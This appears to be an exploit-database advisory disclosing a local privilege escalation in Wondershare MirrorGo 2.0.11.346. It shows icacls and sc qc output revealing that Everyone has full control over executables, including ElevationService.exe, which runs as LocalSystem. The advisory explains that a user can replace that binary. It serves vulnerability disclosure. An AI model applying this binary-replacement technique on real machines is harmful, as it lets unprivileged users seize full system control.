[local] Wondershare MirrorGo 2.0.11.346 - Insecure File Permissions

# Exploit Title: Wondershare MirrorGo 2.0.11.346 - Insecure File Permissions # Discovery by: Luis Martinez # Discovery Date: 2022-02-23 # Vendor Homepage: https://www.wondershare.com/ # Software Link : https://download.wondershare.com/mirror_go_full8050.exe # Tested Version: 2.0.11.346 # Vulnerability Type: Local Privilege Escalation # Tested on OS: Windows 10 Pro x64 es # Step to discover Privilege Escalation: # Insecure folders permissions issue: C:\>icacls "C:\Program Files (x86)\Wondershare\Wondershare MirrorGo\*" | findstr /i "everyone" | findstr /i ".exe" C:\Program Files (x86)\Wondershare\Wondershare MirrorGo\adb.exe Everyone:(I)(F) C:\Program Files (x86)\Wondershare\Wondershare MirrorGo\BsSndRpt.exe Everyone:(I)(F) C:\Program Files (x86)\Wondershare\Wondershare MirrorGo\DriverInstall32.exe Everyone:(I)(F) C:\Program Files (x86)\Wondershare\Wondershare MirrorGo\DriverInstall64.exe Everyone:(I)(F) C:\Program Files (x86)\Wondershare\Wondershare MirrorGo\ElevationService.exe Everyone:(I)(F) C:\Program Files (x86)\Wondershare\Wondershare MirrorGo\MirrorGo.exe Everyone:(I)(F) C:\Program Files (x86)\Wondershare\Wondershare MirrorGo\ProcessKiller.exe Everyone:(I)(F) C:\Program Files (x86)\Wondershare\Wondershare MirrorGo\ProcessKiller.exe.config Everyone:(I)(F) C:\Program Files (x86)\Wondershare\Wondershare MirrorGo\unins000.exe Everyone:(I)(F) # Service info: C:\>sc qc ElevationService [SC] QueryServiceConfig SUCCESS SERVICE_NAME: ElevationService TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Program Files (x86)\Wondershare\Wondershare MirrorGo\ElevationService.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Wondershare Driver Install Service help DEPENDENCIES : SERVICE_START_NAME : LocalSystem #Exploit: A vulnerability was found in Wondershare MirrorGo 2.0.11.346. The Wondershare MirrorGo executable "ElevationService.exe" has incorrect permissions, allowing a local unprivileged user to replace it with a malicious file that will be executed with "LocalSystem" privileges.